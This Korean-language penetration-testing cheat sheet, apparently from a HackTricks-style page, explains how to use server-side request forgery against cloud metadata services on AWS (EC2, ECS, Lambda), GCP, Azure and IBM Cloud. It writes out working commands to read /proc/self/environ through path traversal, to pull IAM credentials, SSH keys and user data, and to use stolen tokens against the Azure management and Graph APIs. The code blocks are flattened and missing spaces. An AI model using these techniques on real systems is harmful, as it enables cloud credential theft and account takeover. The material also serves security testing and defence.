메타데이터 엔드포인트는 모든 EC2 머신 내부에서 접근할 수 있으며, 흥미로운 정보를 제공합니다. URL에서 접근할 수 있습니다: http://169.254.169.254 (메타데이터에 대한 정보는 여기 참조).
메타데이터 엔드포인트에는 2가지 버전이 있습니다. 첫 번째 버전은 GET 요청을 통해 엔드포인트에 접근할 수 있게 해줍니다 (따라서 어떤 SSRF도 이를 악용할 수 있습니다). 버전 2인 IMDSv2에서는 HTTP 헤더와 함께 PUT 요청을 보내 토큰을 요청한 후, 그 토큰을 사용하여 다른 HTTP 헤더로 메타데이터에 접근해야 합니다 (따라서 SSRF로 악용하기 더 복잡합니다).
EC2 인스턴스가 IMDSv2를 강제하는 경우, 문서에 따르면, PUT 요청의 응답은 hop limit이 1로 설정되어 EC2 인스턴스 내부의 컨테이너에서 EC2 메타데이터에 접근할 수 없게 됩니다.
또한, IMDSv2는 X-Forwarded-For 헤더를 포함한 토큰 요청을 차단합니다. 이는 잘못 구성된 리버스 프록시가 이를 접근하지 못하도록 방지하기 위함입니다.
PACU는 발견된 자격 증명으로 권한을 확인하고 권한 상승을 시도하는 데 사용할 수 있습니다.
AWS ECS (컨테이너 서비스) 자격 증명에서의 SSRF
ECS는 애플리케이션을 실행할 수 있는 EC2 인스턴스의 논리적 그룹으로, ECS가 클러스터 관리 인프라를 대신 관리하기 때문에 자체 클러스터 관리 인프라를 확장할 필요가 없습니다. ECS에서 실행 중인 서비스를 손상시키면 메타데이터 엔드포인트가 변경됩니다.
_http://169.254.170.2/v2/credentials/<GUID>_에 접근하면 ECS 머신의 자격 증명을 찾을 수 있습니다. 그러나 먼저 **<GUID>**를 찾아야 합니다. <GUID>를 찾으려면 머신 내의 environ 변수 AWS_CONTAINER_CREDENTIALS_RELATIVE_URI를 읽어야 합니다.
Path Traversal을 이용해 file:///proc/self/environ을 읽을 수 있습니다.
언급된 http 주소는 AccessKey, SecretKey 및 token을 제공해야 합니다.
일부 경우에는 컨테이너에서 EC2 메타데이터 인스턴스에 접근할 수 있습니다(앞서 언급한 IMDSv2 TTL 제한 사항을 확인하세요). 이러한 시나리오에서는 컨테이너에서 컨테이너 IAM 역할과 EC2 IAM 역할 모두에 접근할 수 있습니다.
AWS Lambda에 대한 SSRF
이 경우 자격 증명은 환경 변수에 저장됩니다. 따라서 이를 접근하려면 **file:///proc/self/environ**과 같은 것을 접근해야 합니다.
흥미로운 환경 변수의 이름은 다음과 같습니다:
AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID
게다가 IAM 자격 증명 외에도 Lambda 함수는 함수가 시작될 때 함수에 전달되는 이벤트 데이터를 가지고 있습니다. 이 데이터는 런타임 인터페이스를 통해 함수에 제공되며 민감한정보(예: stageVariables 내부)를 포함할 수 있습니다. IAM 자격 증명과 달리 이 데이터는 표준 SSRF를 통해 **http://localhost:9001/2018-06-01/runtime/invocation/next**에서 접근할 수 있습니다.
lambda 자격 증명이 환경 변수 안에 있다는 점에 유의하세요. 따라서 lambda 코드의 스택 추적이 환경 변수를 출력하면, 앱에서 오류를 유발하여 이들을 유출할 수 있는 가능성이 있습니다.
# Via env varsexport CLOUDSDK_AUTH_ACCESS_TOKEN=<token>gcloudprojectslist# Via setupecho"<token>">/some/path/to/tokengcloudconfigsetauth/access_token_file/some/path/to/tokengcloudprojectslistgcloudconfigunsetauth/access_token_file
# Check for those env vars to know if you are in an Azure appecho $IDENTITY_HEADERecho $IDENTITY_ENDPOINT# You should also be able to find the folder:ls/opt/microsoft#and the filels/opt/microsoft/msodbcsql17# Get management tokencurl"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# Get graph tokencurl"$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# API# Get SubscriptionsURL="https://management.azure.com/subscriptions?api-version=2020-01-01"curl-H"Authorization: $TOKEN""$URL"# Get current permission on resources in the subscriptionURL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"curl-H"Authorization: $TOKEN""$URL"# Get permissions in a VMURL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl-H"Authorization: $TOKEN""$URL"
# API request in powershell to management endpoint$Token ='eyJ0eX..'$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# API request to graph endpoint (get enterprise applications)$Token ='eyJ0eX..'$URI ='https://graph.microsoft.com/v1.0/applications'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# Using AzureAD Powershell module witho both management and graph tokens$token ='eyJ0e..'$graphaccesstoken ='eyJ0eX..'Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc
# Try to get current perms over resourcesGet-AzResource## The following error means that the user doesn't have permissions over any resourceGet-AzResource : 'this.Client.SubscriptionId' cannot be null.At line:1 char:1+Get-AzResource+ ~~~~~~~~~~~~~~+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException+ FullyQualifiedErrorId :Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
IBM Cloud
IBM에서는 기본적으로 메타데이터가 활성화되어 있지 않으므로, IBM 클라우드 VM 내부에 있더라도 접근할 수 없을 수 있습니다.
export instance_identity_token=`curl-s-XPUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\-H "Metadata-Flavor: ibm"\-H "Accept: application/json"\-d '{"expires_in": 3600}' |jq-r '(.access_token)'`# Get instance detailscurl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
# Get SSH keys infocurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
# Get SSH keys fingerprints & user datacurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
# Get placement groupscurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
# Get IAM credentialscurl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
다양한 플랫폼의 메타데이터 서비스에 대한 문서가 아래에 설명되어 있으며, 인스턴스에 대한 구성 및 런타임 정보를 액세스할 수 있는 방법을 강조합니다. 각 플랫폼은 메타데이터 서비스에 액세스하기 위한 고유한 엔드포인트를 제공합니다.